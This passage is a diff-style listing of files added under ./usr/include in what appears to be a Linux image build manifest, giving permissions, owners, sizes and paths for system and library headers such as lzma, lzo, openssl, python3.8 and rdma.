+-rw-r--r-- root root 3296 ./usr/include/linux/zorro.h
+-rw-r--r-- root root 29963 ./usr/include/linux/zorro_ids.h
+-rw-r--r-- root root 7675 ./usr/include/locale.h
+drwxr-xr-x root root 4096 ./usr/include/lzma
+-rw-r--r-- root root 24858 ./usr/include/lzma/base.h
+-rw-r--r-- root root 2630 ./usr/include/lzma/bcj.h
+-rw-r--r-- root root 22107 ./usr/include/lzma/block.h
+-rw-r--r-- root root 4255 ./usr/include/lzma/check.h
+-rw-r--r-- root root 24844 ./usr/include/lzma/container.h
+-rw-r--r-- root root 1865 ./usr/include/lzma/delta.h
+-rw-r--r-- root root 16520 ./usr/include/lzma/filter.h
+-rw-r--r-- root root 9866 ./usr/include/lzma.h
+-rw-r--r-- root root 2604 ./usr/include/lzma/hardware.h
+-rw-r--r-- root root 23491 ./usr/include/lzma/index.h
+-rw-r--r-- root root 3914 ./usr/include/lzma/index_hash.h
+-rw-r--r-- root root 14744 ./usr/include/lzma/lzma12.h
+-rw-r--r-- root root 8253 ./usr/include/lzma/stream_flags.h
+-rw-r--r-- root root 3497 ./usr/include/lzma/version.h
+-rw-r--r-- root root 6546 ./usr/include/lzma/vli.h
+drwxr-xr-x root root 4096 ./usr/include/lzo
+-rw-r--r-- root root 2638 ./usr/include/lzo/lzo1a.h
+-rw-r--r-- root root 5387 ./usr/include/lzo/lzo1b.h
+-rw-r--r-- root root 5384 ./usr/include/lzo/lzo1c.h
+-rw-r--r-- root root 3073 ./usr/include/lzo/lzo1f.h
+-rw-r--r-- root root 2634 ./usr/include/lzo/lzo1.h
+-rw-r--r-- root root 5873 ./usr/include/lzo/lzo1x.h
+-rw-r--r-- root root 4641 ./usr/include/lzo/lzo1y.h
+-rw-r--r-- root root 3771 ./usr/include/lzo/lzo1z.h
+-rw-r--r-- root root 2525 ./usr/include/lzo/lzo2a.h
+-rw-r--r-- root root 5566 ./usr/include/lzo/lzo_asm.h
+-rw-r--r-- root root 16006 ./usr/include/lzo/lzoconf.h
+-rw-r--r-- root root 127289 ./usr/include/lzo/lzodefs.h
+-rw-r--r-- root root 1823 ./usr/include/lzo/lzoutil.h
+-rw-r--r-- root root 6186 ./usr/include/malloc.h
+-rw-r--r-- root root 46404 ./usr/include/math.h
+-rw-r--r-- root root 2435 ./usr/include/mcheck.h
+-rw-r--r-- root root 956 ./usr/include/memory.h
+-rw-r--r-- root root 12275 ./usr/include/menu.h
+drwxr-xr-x root root 4096 ./usr/include/misc
+-rw-r--r-- root root 3936 ./usr/include/misc/cxl.h
+-rw-r--r-- root root 953 ./usr/include/misc/fastrpc.h
+-rw-r--r-- root root 19004 ./usr/include/misc/habanalabs.h
+-rw-r--r-- root root 1947 ./usr/include/misc/ocxl.h
+-rw-r--r-- root root 12341 ./usr/include/misc/xilinx_sdfec.h
+-rw-r--r-- root root 3359 ./usr/include/mntent.h
+-rw-r--r-- root root 1804 ./usr/include/monetary.h
+-rw-r--r-- root root 3760 ./usr/include/mqueue.h
+drwxr-xr-x root root 4096 ./usr/include/mtd
+-rw-r--r-- root root 1644 ./usr/include/mtd/inftl-user.h
+-rw-r--r-- root root 9732 ./usr/include/mtd/mtd-abi.h
+-rw-r--r-- root root 1242 ./usr/include/mtd/mtd-user.h
+-rw-r--r-- root root 2116 ./usr/include/mtd/nftl-user.h
+-rw-r--r-- root root 18220 ./usr/include/mtd/ubi-user.h
+-rw-r--r-- root root 4240 ./usr/include/nc_tparm.h
+-rw-r--r-- root root 4522 ./usr/include/ncurses_dll.h
+lrwxrwxrwx root root 8 ./usr/include/ncurses.h -> curses.h
+-rw-r--r-- root root 2454 ./usr/include/ndbm.h
+drwxr-xr-x root root 4096 ./usr/include/net
+drwxr-xr-x root root 4096 ./usr/include/netash
+-rw-r--r-- root root 1363 ./usr/include/netash/ash.h
+drwxr-xr-x root root 4096 ./usr/include/netatalk
+-rw-r--r-- root root 1029 ./usr/include/netatalk/at.h
+drwxr-xr-x root root 4096 ./usr/include/netax25
+-rw-r--r-- root root 4810 ./usr/include/netax25/ax25.h
+-rw-r--r-- root root 28100 ./usr/include/netdb.h
+drwxr-xr-x root root 4096 ./usr/include/neteconet
+-rw-r--r-- root root 1668 ./usr/include/neteconet/ec.h
+-rw-r--r-- root root 3136 ./usr/include/net/ethernet.h
+-rw-r--r-- root root 7132 ./usr/include/net/if_arp.h
+-rw-r--r-- root root 6982 ./usr/include/net/if.h
+-rw-r--r-- root root 1262 ./usr/include/net/if_packet.h
+-rw-r--r-- root root 6714 ./usr/include/net/if_ppp.h
+-rw-r--r-- root root 1625 ./usr/include/net/if_shaper.h
+-rw-r--r-- root root 933 ./usr/include/net/if_slip.h
+drwxr-xr-x root root 4096 ./usr/include/netinet
+-rw-r--r-- root root 1985 ./usr/include/netinet/ether.h
+-rw-r--r-- root root 11515 ./usr/include/netinet/icmp6.h
+-rw-r--r-- root root 3976 ./usr/include/netinet/if_ether.h
+-rw-r--r-- root root 1186 ./usr/include/netinet/if_fddi.h
+-rw-r--r-- root root 3692 ./usr/include/netinet/if_tr.h
+-rw-r--r-- root root 4663 ./usr/include/netinet/igmp.h
+-rw-r--r-- root root 21702 ./usr/include/netinet/in.h
+-rw-r--r-- root root 1494 ./usr/include/netinet/in_systm.h
+-rw-r--r-- root root 5394 ./usr/include/netinet/ip6.h
+-rw-r--r-- root root 9436 ./usr/include/netinet/ip.h
+-rw-r--r-- root root 10131 ./usr/include/netinet/ip_icmp.h
+-rw-r--r-- root root 10490 ./usr/include/netinet/tcp.h
+-rw-r--r-- root root 3774 ./usr/include/netinet/udp.h
+drwxr-xr-x root root 4096 ./usr/include/netipx
+-rw-r--r-- root root 2900 ./usr/include/netipx/ipx.h
+drwxr-xr-x root root 4096 ./usr/include/netiucv
+-rw-r--r-- root root 1594 ./usr/include/netiucv/iucv.h
+drwxr-xr-x root root 4096 ./usr/include/netpacket
+-rw-r--r-- root root 2438 ./usr/include/netpacket/packet.h
+-rw-r--r-- root root 28 ./usr/include/net/ppp-comp.h
+-rw-r--r-- root root 162 ./usr/include/net/ppp_defs.h
+drwxr-xr-x root root 4096 ./usr/include/netrom
+-rw-r--r-- root root 2226 ./usr/include/netrom/netrom.h
+drwxr-xr-x root root 4096 ./usr/include/netrose
+-rw-r--r-- root root 3184 ./usr/include/netrose/rose.h
+-rw-r--r-- root root 4704 ./usr/include/net/route.h
+drwxr-xr-x root root 4096 ./usr/include/nfs
+-rw-r--r-- root root 23 ./usr/include/nfs/nfs.h
+-rw-r--r-- root root 1601 ./usr/include/nlist.h
+-rw-r--r-- root root 1753 ./usr/include/nl_types.h
+-rw-r--r-- root root 1879 ./usr/include/nss.h
+-rw-r--r-- root root 21307 ./usr/include/obstack.h
+drwxr-xr-x root root 4096 ./usr/include/omap
+-rw-r--r-- root root 4843 ./usr/include/omap/omap_drm.h
+drwxr-xr-x root root 4096 ./usr/include/openssl
+-rw-r--r-- root root 3349 ./usr/include/openssl/aes.h
+-rw-r--r-- root root 14599 ./usr/include/openssl/asn1err.h
+-rw-r--r-- root root 33627 ./usr/include/openssl/asn1.h
+-rw-r--r-- root root 395 ./usr/include/openssl/asn1_mac.h
+-rw-r--r-- root root 32940 ./usr/include/openssl/asn1t.h
+-rw-r--r-- root root 1326 ./usr/include/openssl/asyncerr.h
+-rw-r--r-- root root 2398 ./usr/include/openssl/async.h
+-rw-r--r-- root root 6400 ./usr/include/openssl/bioerr.h
+-rw-r--r-- root root 34907 ./usr/include/openssl/bio.h
+-rw-r--r-- root root 1847 ./usr/include/openssl/blowfish.h
+-rw-r--r-- root root 4907 ./usr/include/openssl/bnerr.h
+-rw-r--r-- root root 22135 ./usr/include/openssl/bn.h
+-rw-r--r-- root root 820 ./usr/include/openssl/buffererr.h
+-rw-r--r-- root root 1600 ./usr/include/openssl/buffer.h
+-rw-r--r-- root root 3179 ./usr/include/openssl/camellia.h
+-rw-r--r-- root root 1674 ./usr/include/openssl/cast.h
+-rw-r--r-- root root 1064 ./usr/include/openssl/cmac.h
+-rw-r--r-- root root 11160 ./usr/include/openssl/cmserr.h
+-rw-r--r-- root root 16379 ./usr/include/openssl/cms.h
+-rw-r--r-- root root 1212 ./usr/include/openssl/comperr.h
+-rw-r--r-- root root 1328 ./usr/include/openssl/comp.h
+-rw-r--r-- root root 1300 ./usr/include/openssl/conf_api.h
+-rw-r--r-- root root 3429 ./usr/include/openssl/conferr.h
+-rw-r--r-- root root 5601 ./usr/include/openssl/conf.h
+-rw-r--r-- root root 2261 ./usr/include/openssl/cryptoerr.h
+-rw-r--r-- root root 17239 ./usr/include/openssl/crypto.h
+-rw-r--r-- root root 3470 ./usr/include/openssl/cterr.h
+-rw-r--r-- root root 15872 ./usr/include/openssl/ct.h
+-rw-r--r-- root root 7627 ./usr/include/openssl/des.h
+-rw-r--r-- root root 3974 ./usr/include/openssl/dherr.h
+-rw-r--r-- root root 13403 ./usr/include/openssl/dh.h
+-rw-r--r-- root root 2972 ./usr/include/openssl/dsaerr.h
+-rw-r--r-- root root 10051 ./usr/include/openssl/dsa.h
+-rw-r--r-- root root 1578 ./usr/include/openssl/dtls1.h
+-rw-r--r-- root root 924 ./usr/include/openssl/ebcdic.h
+-rw-r--r-- root root 358 ./usr/include/openssl/ecdh.h
+-rw-r--r-- root root 358 ./usr/include/openssl/ecdsa.h
+-rw-r--r-- root root 15758 ./usr/include/openssl/ecerr.h
+-rw-r--r-- root root 63596 ./usr/include/openssl/ec.h
+-rw-r--r-- root root 5447 ./usr/include/openssl/engineerr.h
+-rw-r--r-- root root 34661 ./usr/include/openssl/engine.h
+-rw-r--r-- root root 8888 ./usr/include/openssl/e_os2.h
+-rw-r--r-- root root 11269 ./usr/include/openssl/err.h
+-rw-r--r-- root root 11427 ./usr/include/openssl/evperr.h
+-rw-r--r-- root root 76828 ./usr/include/openssl/evp.h
+-rw-r--r-- root root 1591 ./usr/include/openssl/hmac.h
+-rw-r--r-- root root 2099 ./usr/include/openssl/idea.h
+-rw-r--r-- root root 2122 ./usr/include/openssl/kdferr.h
+-rw-r--r-- root root 4326 ./usr/include/openssl/kdf.h
+-rw-r--r-- root root 9271 ./usr/include/openssl/lhash.h
+-rw-r--r-- root root 1054 ./usr/include/openssl/md2.h
+-rw-r--r-- root root 1322 ./usr/include/openssl/md4.h
+-rw-r--r-- root root 1320 ./usr/include/openssl/md5.h
+-rw-r--r-- root root 1053 ./usr/include/openssl/mdc2.h
+-rw-r--r-- root root 10478 ./usr/include/openssl/modes.h
+-rw-r--r-- root root 1316 ./usr/include/openssl/objectserr.h
+-rw-r--r-- root root 6633 ./usr/include/openssl/objects.h
+-rw-r--r-- root root 217522 ./usr/include/openssl/obj_mac.h
+-rw-r--r-- root root 3356 ./usr/include/openssl/ocsperr.h
+-rw-r--r-- root root 15305 ./usr/include/openssl/ocsp.h
+-rw-r--r-- root root 4520 ./usr/include/openssl/opensslconf-64.h
+-rw-r--r-- root root 564 ./usr/include/openssl/opensslconf.h
+-rw-r--r-- root root 4102 ./usr/include/openssl/opensslv.h
+-rw-r--r-- root root 6266 ./usr/include/openssl/ossl_typ.h
+-rw-r--r-- root root 415 ./usr/include/openssl/pem2.h
+-rw-r--r-- root root 5098 ./usr/include/openssl/pemerr.h
+-rw-r--r-- root root 15468 ./usr/include/openssl/pem.h
+-rw-r--r-- root root 3749 ./usr/include/openssl/pkcs12err.h
+-rw-r--r-- root root 9871 ./usr/include/openssl/pkcs12.h
+-rw-r--r-- root root 5110 ./usr/include/openssl/pkcs7err.h
+-rw-r--r-- root root 11590 ./usr/include/openssl/pkcs7.h
+-rw-r--r-- root root 4763 ./usr/include/openssl/rand_drbg.h
+-rw-r--r-- root root 4633 ./usr/include/openssl/randerr.h
+-rw-r--r-- root root 2213 ./usr/include/openssl/rand.h
+-rw-r--r-- root root 1534 ./usr/include/openssl/rc2.h
+-rw-r--r-- root root 825 ./usr/include/openssl/rc4.h
+-rw-r--r-- root root 1988 ./usr/include/openssl/rc5.h
+-rw-r--r-- root root 1243 ./usr/include/openssl/ripemd.h
+-rw-r--r-- root root 9075 ./usr/include/openssl/rsaerr.h
+-rw-r--r-- root root 22202 ./usr/include/openssl/rsa.h
+-rw-r--r-- root root 8139 ./usr/include/openssl/safestack.h
+-rw-r--r-- root root 3479 ./usr/include/openssl/seed.h
+-rw-r--r-- root root 3831 ./usr/include/openssl/sha.h
+-rw-r--r-- root root 3827 ./usr/include/openssl/srp.h
+-rw-r--r-- root root 1316 ./usr/include/openssl/srtp.h
+-rw-r--r-- root root 542 ./usr/include/openssl/ssl2.h
+-rw-r--r-- root root 14576 ./usr/include/openssl/ssl3.h
+-rw-r--r-- root root 46676 ./usr/include/openssl/sslerr.h
+-rw-r--r-- root root 111253 ./usr/include/openssl/ssl.h
+-rw-r--r-- root root 3095 ./usr/include/openssl/stack.h
+-rw-r--r-- root root 4399 ./usr/include/openssl/storeerr.h
+-rw-r--r-- root root 11199 ./usr/include/openssl/store.h
+-rw-r--r-- root root 1311 ./usr/include/openssl/symhacks.h
+-rw-r--r-- root root 72490 ./usr/include/openssl/tls1.h
+-rw-r--r-- root root 6746 ./usr/include/openssl/tserr.h
+-rw-r--r-- root root 22429 ./usr/include/openssl/ts.h
+-rw-r--r-- root root 1666 ./usr/include/openssl/txt_db.h
+-rw-r--r-- root root 2737 ./usr/include/openssl/uierr.h
+-rw-r--r-- root root 16052 ./usr/include/openssl/ui.h
+-rw-r--r-- root root 1377 ./usr/include/openssl/whrlpool.h
+-rw-r--r-- root root 6777 ./usr/include/openssl/x509err.h
+-rw-r--r-- root root 43123 ./usr/include/openssl/x509.h
+-rw-r--r-- root root 8777 ./usr/include/openssl/x509v3err.h
+-rw-r--r-- root root 33377 ./usr/include/openssl/x509v3.h
+-rw-r--r-- root root 32179 ./usr/include/openssl/x509_vfy.h
+-rw-r--r-- root root 4201 ./usr/include/panel.h
+-rw-r--r-- root root 2977 ./usr/include/paths.h
+-rw-r--r-- root root 15456 ./usr/include/pciaccess.h
+-rw-r--r-- root root 6783 ./usr/include/pcrecpparg.h
+-rw-r--r-- root root 26529 ./usr/include/pcrecpp.h
+-rw-r--r-- root root 31718 ./usr/include/pcre.h
+-rw-r--r-- root root 5631 ./usr/include/pcreposix.h
+-rw-r--r-- root root 6600 ./usr/include/pcre_scanner.h
+-rw-r--r-- root root 6312 ./usr/include/pcre_stringpiece.h
+drwxr-xr-x root root 4096 ./usr/include/pixman-1
+-rw-r--r-- root root 45455 ./usr/include/pixman-1/pixman.h
+-rw-r--r-- root root 1739 ./usr/include/pixman-1/pixman-version.h
+-rw-r--r-- root root 15029 ./usr/include/plugin-api.h
+lrwxrwxrwx root root 18 ./usr/include/pngconf.h -> libpng16/pngconf.h
+lrwxrwxrwx root root 14 ./usr/include/png.h -> libpng16/png.h
+lrwxrwxrwx root root 21 ./usr/include/pnglibconf.h -> libpng16/pnglibconf.h
+-rw-r--r-- root root 22 ./usr/include/poll.h
+-rw-r--r-- root root 6801 ./usr/include/printf.h
+drwxr-xr-x root root 4096 ./usr/include/proc
+-rw-r--r-- root root 509 ./usr/include/proc/alloc.h
+-rw-r--r-- root root 457 ./usr/include/proc/devname.h
+-rw-r--r-- root root 913 ./usr/include/proc/escape.h
+-rw-r--r-- root root 1068 ./usr/include/proc/numa.h
+-rw-r--r-- root root 2936 ./usr/include/proc/procps.h
+-rw-r--r-- root root 305 ./usr/include/proc/pwcache.h
+-rw-r--r-- root root 15204 ./usr/include/proc/readproc.h
+-rw-r--r-- root root 3477 ./usr/include/proc_service.h
+-rw-r--r-- root root 1000 ./usr/include/proc/sig.h
+-rw-r--r-- root root 1797 ./usr/include/proc/slab.h
+-rw-r--r-- root root 4820 ./usr/include/proc/sysinfo.h
+-rw-r--r-- root root 1480 ./usr/include/proc/version.h
+-rw-r--r-- root root 160 ./usr/include/proc/wchan.h
+-rw-r--r-- root root 202 ./usr/include/proc/whattime.h
+drwxr-xr-x root root 4096 ./usr/include/protocols
+-rw-r--r-- root root 3844 ./usr/include/protocols/routed.h
+-rw-r--r-- root root 2567 ./usr/include/protocols/rwhod.h
+-rw-r--r-- root root 4826 ./usr/include/protocols/talkd.h
+-rw-r--r-- root root 3881 ./usr/include/protocols/timed.h
+-rw-r--r-- root root 41701 ./usr/include/pthread.h
+-rw-r--r-- root root 1570 ./usr/include/pty.h
+-rw-r--r-- root root 6159 ./usr/include/pwd.h
+drwxr-xr-x root root 4096 ./usr/include/pycairo
+-rw-r--r-- root root 9152 ./usr/include/pycairo/py3cairo.h
+drwxr-xr-x root root 4096 ./usr/include/pygobject-3.0
+-rw-r--r-- root root 24983 ./usr/include/pygobject-3.0/pygobject.h
+drwxr-xr-x root root 4096 ./usr/include/python3.8
+-rw-r--r-- root root 30286 ./usr/include/python3.8/abstract.h
+-rw-r--r-- root root 1229 ./usr/include/python3.8/asdl.h
+-rw-r--r-- root root 948 ./usr/include/python3.8/ast.h
+-rw-r--r-- root root 468 ./usr/include/python3.8/bitset.h
+-rw-r--r-- root root 264 ./usr/include/python3.8/bltinmodule.h
+-rw-r--r-- root root 886 ./usr/include/python3.8/boolobject.h
+-rw-r--r-- root root 2114 ./usr/include/python3.8/bytearrayobject.h
+-rw-r--r-- root root 3301 ./usr/include/python3.8/bytes_methods.h
+-rw-r--r-- root root 8493 ./usr/include/python3.8/bytesobject.h
+-rw-r--r-- root root 713 ./usr/include/python3.8/cellobject.h
+-rw-r--r-- root root 8366 ./usr/include/python3.8/ceval.h
+-rw-r--r-- root root 1710 ./usr/include/python3.8/classobject.h
+-rw-r--r-- root root 6793 ./usr/include/python3.8/codecs.h
+-rw-r--r-- root root 6982 ./usr/include/python3.8/code.h
+-rw-r--r-- root root 3256 ./usr/include/python3.8/compile.h
+-rw-r--r-- root root 1807 ./usr/include/python3.8/complexobject.h
+-rw-r--r-- root root 2014 ./usr/include/python3.8/context.h
+drwxr-xr-x root root 4096 ./usr/include/python3.8/cpython
+-rw-r--r-- root root 12295 ./usr/include/python3.8/cpython/abstract.h
+-rw-r--r-- root root 3845 ./usr/include/python3.8/cpython/dictobject.h
+-rw-r--r-- root root 951 ./usr/include/python3.8/cpython/fileobject.h
+-rw-r--r-- root root 16028 ./usr/include/python3.8/cpython/initconfig.h
+-rw-r--r-- root root 456 ./usr/include/python3.8/cpython/interpreteridobject.h
+-rw-r--r-- root root 15691 ./usr/include/python3.8/cpython/object.h
+-rw-r--r-- root root 3600 ./usr/include/python3.8/cpython/objimpl.h
+-rw-r--r-- root root 4607 ./usr/include/python3.8/cpython/pyerrors.h
+-rw-r--r-- root root 2263 ./usr/include/python3.8/cpython/pylifecycle.h
+-rw-r--r-- root root 3511 ./usr/include/python3.8/cpython/pymem.h
+-rw-r--r-- root root 9743 ./usr/include/python3.8/cpython/pystate.h
+-rw-r--r-- root root 547 ./usr/include/python3.8/cpython/sysmodule.h
+-rw-r--r-- root root 473 ./usr/include/python3.8/cpython/traceback.h
+-rw-r--r-- root root 1036 ./usr/include/python3.8/cpython/tupleobject.h
+-rw-r--r-- root root 46299 ./usr/include/python3.8/cpython/unicodeobject.h
+-rw-r--r-- root root 9260 ./usr/include/python3.8/datetime.h
+-rw-r--r-- root root 3019 ./usr/include/python3.8/descrobject.h
+-rw-r--r-- root root 3716 ./usr/include/python3.8/dictobject.h
+-rw-r--r-- root root 458 ./usr/include/python3.8/dtoa.h
+-rw-r--r-- root root 22469 ./usr/include/python3.8/dynamic_annotations.h
+-rw-r--r-- root root 253 ./usr/include/python3.8/enumobject.h
+-rw-r--r-- root root 1695 ./usr/include/python3.8/errcode.h
+-rw-r--r-- root root 1209 ./usr/include/python3.8/eval.h
+-rw-r--r-- root root 1342 ./usr/include/python3.8/fileobject.h
+-rw-r--r-- root root 4352 ./usr/include/python3.8/fileutils.h
+-rw-r--r-- root root 4794 ./usr/include/python3.8/floatobject.h
+-rw-r--r-- root root 3317 ./usr/include/python3.8/frameobject.h
+-rw-r--r-- root root 4200 ./usr/include/python3.8/funcobject.h
+-rw-r--r-- root root 3720 ./usr/include/python3.8/genobject.h
+-rw-r--r-- root root 2118 ./usr/include/python3.8/graminit.h
+-rw-r--r-- root root 1821 ./usr/include/python3.8/grammar.h
+-rw-r--r-- root root 4926 ./usr/include/python3.8/import.h
+drwxr-xr-x root root 4096 ./usr/include/python3.8/internal
+-rw-r--r-- root root 1126 ./usr/include/python3.8/internal/pycore_accu.h
+-rw-r--r-- root root 16944 ./usr/include/python3.8/internal/pycore_atomic.h
+-rw-r--r-- root root 966 ./usr/include/python3.8/internal/pycore_ceval.h
+-rw-r--r-- root root 542 ./usr/include/python3.8/internal/pycore_code.h
+-rw-r--r-- root root 2809 ./usr/include/python3.8/internal/pycore_condvar.h
+-rw-r--r-- root root 779 ./usr/include/python3.8/internal/pycore_context.h
+-rw-r--r-- root root 1254 ./usr/include/python3.8/internal/pycore_fileutils.h
+-rw-r--r-- root root 490 ./usr/include/python3.8/internal/pycore_getopt.h
+-rw-r--r-- root root 1520 ./usr/include/python3.8/internal/pycore_gil.h
+-rw-r--r-- root root 3128 ./usr/include/python3.8/internal/pycore_hamt.h
+-rw-r--r-- root root 5168 ./usr/include/python3.8/internal/pycore_initconfig.h
+-rw-r--r-- root root 2896 ./usr/include/python3.8/internal/pycore_object.h
+-rw-r--r-- root root 2037 ./usr/include/python3.8/internal/pycore_pathconfig.h
+-rw-r--r-- root root 1329 ./usr/include/python3.8/internal/pycore_pyerrors.h
+-rw-r--r-- root root 206 ./usr/include/python3.8/internal/pycore_pyhash.h
+-rw-r--r-- root root 3758 ./usr/include/python3.8/internal/pycore_pylifecycle.h
+-rw-r--r-- root root 8217 ./usr/include/python3.8/internal/pycore_pymem.h
+-rw-r--r-- root root 9494 ./usr/include/python3.8/internal/pycore_pystate.h
+-rw-r--r-- root root 3076 ./usr/include/python3.8/internal/pycore_traceback.h
+-rw-r--r-- root root 418 ./usr/include/python3.8/internal/pycore_tupleobject.h
+-rw-r--r-- root root 591 ./usr/include/python3.8/internal/pycore_warnings.h
+-rw-r--r-- root root 334 ./usr/include/python3.8/interpreteridobject.h
+-rw-r--r-- root root 861 ./usr/include/python3.8/intrcheck.h
+-rw-r--r-- root root 567 ./usr/include/python3.8/iterobject.h
+-rw-r--r-- root root 2927 ./usr/include/python3.8/listobject.h
+-rw-r--r-- root root 3799 ./usr/include/python3.8/longintrepr.h
+-rw-r--r-- root root 9520 ./usr/include/python3.8/longobject.h
+-rw-r--r-- root root 803 ./usr/include/python3.8/marshal.h
+-rw-r--r-- root root 2765 ./usr/include/python3.8/memoryobject.h
+-rw-r--r-- root root 4406 ./usr/include/python3.8/methodobject.h
+-rw-r--r-- root root 9591 ./usr/include/python3.8/modsupport.h
+-rw-r--r-- root root 2362 ./usr/include/python3.8/moduleobject.h
+-rw-r--r-- root root 349 ./usr/include/python3.8/namespaceobject.h
+-rw-r--r-- root root 1328 ./usr/include/python3.8/node.h
+-rw-r--r-- root root 29600 ./usr/include/python3.8/object.h
+-rw-r--r-- root root 10537 ./usr/include/python3.8/objimpl.h
+-rw-r--r-- root root 1300 ./usr/include/python3.8/odictobject.h
+-rw-r--r-- root root 5164 ./usr/include/python3.8/opcode.h
+-rw-r--r-- root root 737 ./usr/include/python3.8/osdefs.h
+-rw-r--r-- root root 291 ./usr/include/python3.8/osmodule.h
+-rw-r--r-- root root 2958 ./usr/include/python3.8/parsetok.h
+-rw-r--r-- root root 1297 ./usr/include/python3.8/patchlevel.h
+-rw-r--r-- root root 847 ./usr/include/python3.8/picklebufobject.h
+-rw-r--r-- root root 2744 ./usr/include/python3.8/pyarena.h
+-rw-r--r-- root root 1726 ./usr/include/python3.8/pycapsule.h
+-rw-r--r-- root root 47363 ./usr/include/python3.8/pyconfig-64.h
+-rw-r--r-- root root 560 ./usr/include/python3.8/pyconfig.h
+-rw-r--r-- root root 1320 ./usr/include/python3.8/pyctype.h
+-rw-r--r-- root root 2477 ./usr/include/python3.8/py_curses.h
+-rw-r--r-- root root 1214 ./usr/include/python3.8/pydebug.h
+-rw-r--r-- root root 2413 ./usr/include/python3.8/pydtrace.h
+-rw-r--r-- root root 12786 ./usr/include/python3.8/pyerrors.h
+-rw-r--r-- root root 2450 ./usr/include/python3.8/pyexpat.h
+-rw-r--r-- root root 341 ./usr/include/python3.8/pyfpe.h
+-rw-r--r-- root root 4140 ./usr/include/python3.8/pyhash.h
+-rw-r--r-- root root 2081 ./usr/include/python3.8/pylifecycle.h
+-rw-r--r-- root root 2989 ./usr/include/python3.8/pymacconfig.h
+-rw-r--r-- root root 3778 ./usr/include/python3.8/pymacro.h
+-rw-r--r-- root root 8312 ./usr/include/python3.8/pymath.h
+-rw-r--r-- root root 5406 ./usr/include/python3.8/pymem.h
+-rw-r--r-- root root 30221 ./usr/include/python3.8/pyport.h
+-rw-r--r-- root root 4686 ./usr/include/python3.8/pystate.h
+-rw-r--r-- root root 436 ./usr/include/python3.8/pystrcmp.h
+-rw-r--r-- root root 849 ./usr/include/python3.8/pystrhex.h
+-rw-r--r-- root root 1483 ./usr/include/python3.8/pystrtod.h
+-rw-r--r-- root root 26491 ./usr/include/python3.8/Python-ast.h
+-rw-r--r-- root root 3615 ./usr/include/python3.8/Python.h
+-rw-r--r-- root root 7688 ./usr/include/python3.8/pythonrun.h
+-rw-r--r-- root root 5660 ./usr/include/python3.8/pythread.h
+-rw-r--r-- root root 8926 ./usr/include/python3.8/pytime.h
+-rw-r--r-- root root 629 ./usr/include/python3.8/rangeobject.h
+-rw-r--r-- root root 3362 ./usr/include/python3.8/setobject.h
+-rw-r--r-- root root 2517 ./usr/include/python3.8/sliceobject.h
+-rw-r--r-- root root 2030 ./usr/include/python3.8/structmember.h
+-rw-r--r-- root root 1377 ./usr/include/python3.8/structseq.h
+-rw-r--r-- root root 5308 ./usr/include/python3.8/symtable.h
+-rw-r--r-- root root 1242 ./usr/include/python3.8/sysmodule.h
+-rw-r--r-- root root 2429 ./usr/include/python3.8/token.h
+-rw-r--r-- root root 601 ./usr/include/python3.8/traceback.h
+-rw-r--r-- root root 1114 ./usr/include/python3.8/tracemalloc.h
+-rw-r--r-- root root 1661 ./usr/include/python3.8/tupleobject.h
+-rw-r--r-- root root 2253 ./usr/include/python3.8/typeslots.h
+-rw-r--r-- root root 1056 ./usr/include/python3.8/ucnhash.h
+-rw-r--r-- root root 35732 ./usr/include/python3.8/unicodeobject.h
+-rw-r--r-- root root 1776 ./usr/include/python3.8/warnings.h
+-rw-r--r-- root root 2866 ./usr/include/python3.8/weakrefobject.h
+drwxr-xr-x root root 4096 ./usr/include/rdma
+-rw-r--r-- root root 3291 ./usr/include/rdma/bnxt_re-abi.h
+-rw-r--r-- root root 2468 ./usr/include/rdma/cxgb3-abi.h
+-rw-r--r-- root root 3122 ./usr/include/rdma/cxgb4-abi.h
+-rw-r--r-- root root 2141 ./usr/include/rdma/efa-abi.h
+drwxr-xr-x root root 4096 ./usr/include/rdma/hfi
+-rw-r--r-- root root 6618 ./usr/include/rdma/hfi/hfi1_ioctl.h
+-rw-r--r-- root root 9225 ./usr/include/rdma/hfi/hfi1_user.h
+-rw-r--r-- root root 2388 ./usr/include/rdma/hns-abi.h
+-rw-r--r-- root root 3030 ./usr/include/rdma/i40iw-abi.h
+-rw-r--r-- root root 6046 ./usr/include/rdma/ib_user_ioctl_cmds.h
+-rw-r--r-- root root 5655 ./usr/include/rdma/ib_user_ioctl_verbs.h
+-rw-r--r-- root root 8531 ./usr/include/rdma/ib_user_mad.h
+-rw-r--r-- root root 2305 ./usr/include/rdma/ib_user_sa.h
+-rw-r--r-- root root 26750 ./usr/include/rdma/ib_user_verbs.h
+-rw-r--r-- root root 5117 ./usr/include/rdma/mlx4-abi.h
+-rw-r--r-- root root 12968 ./usr/include/rdma/mlx5-abi.h
+-rw-r--r-- root root 7368 ./usr/include/rdma/mlx5_user_ioctl_cmds.h
+-rw-r--r-- root root 2624 ./usr/include/rdma/mlx5_user_ioctl_verbs.h
+-rw-r--r-- root root 3055 ./usr/include/rdma/mthca-abi.h
+-rw-r--r-- root root 3487 ./usr/include/rdma/nes-abi.h
+-rw-r--r-- root root 4116 ./usr/include/rdma/ocrdma-abi.h
+-rw-r--r-- root root 3160 ./usr/include/rdma/qedr-abi.h
+-rw-r--r-- root root 14231 ./usr/include/rdma/rdma_netlink.h
+-rw-r--r-- root root 6903 ./usr/include/rdma/rdma_user_cm.h
+-rw-r--r-- root root 3008 ./usr/include/rdma/rdma_user_ioctl_cmds.h
+-rw-r--r-- root root 3749 ./usr/include/rdma/rdma_user_ioctl.h
+-rw-r--r-- root root 3839 ./usr/include/rdma/rdma_user_rxe.h
+-rw-r--r-- root root 1771 ./usr/include/rdma/rvt-abi.h
+-rw-r--r-- root root 3430 ./usr/include/rdma/siw-abi.h
+-rw-r--r-- root root 7807 ./usr/include/rdma/vmw_pvrdma-abi.h
+drwxr-xr-x root root 4096 ./usr/include/readline
+-rw-r--r-- root root 4697 ./usr/include/readline/chardefs.h
+-rw-r--r-- root root 10779 ./usr/include/readline/history.h
+-rw-r--r-- root root 3260 ./usr/include/readline/keymaps.h
+-rw-r--r-- root root 39338 ./usr/include/readline/readline.h
+-rw-r--r-- root root 2829 ./usr/include/readline/rlconf.h
+-rw-r--r-- root root 1835 ./usr/include/readline/rlstdc.h
+-rw-r--r-- root root 3193 ./usr/include/readline/rltypedefs.h
+-rw-r--r-- root root 3046 ./usr/include/readline/tilde.h
+-rw-r--r-- root root 963 ./usr/include/re_comp.h
+-rw-r--r-- root root 24715 ./usr/include/regex.h
+-rw-r--r-- root root 1448 ./usr/include/regexp.h
+-rw-r--r-- root root 11873 ./usr/include/resolv.h
+drwxr-xr-x root root 4096 ./usr/include/rpc
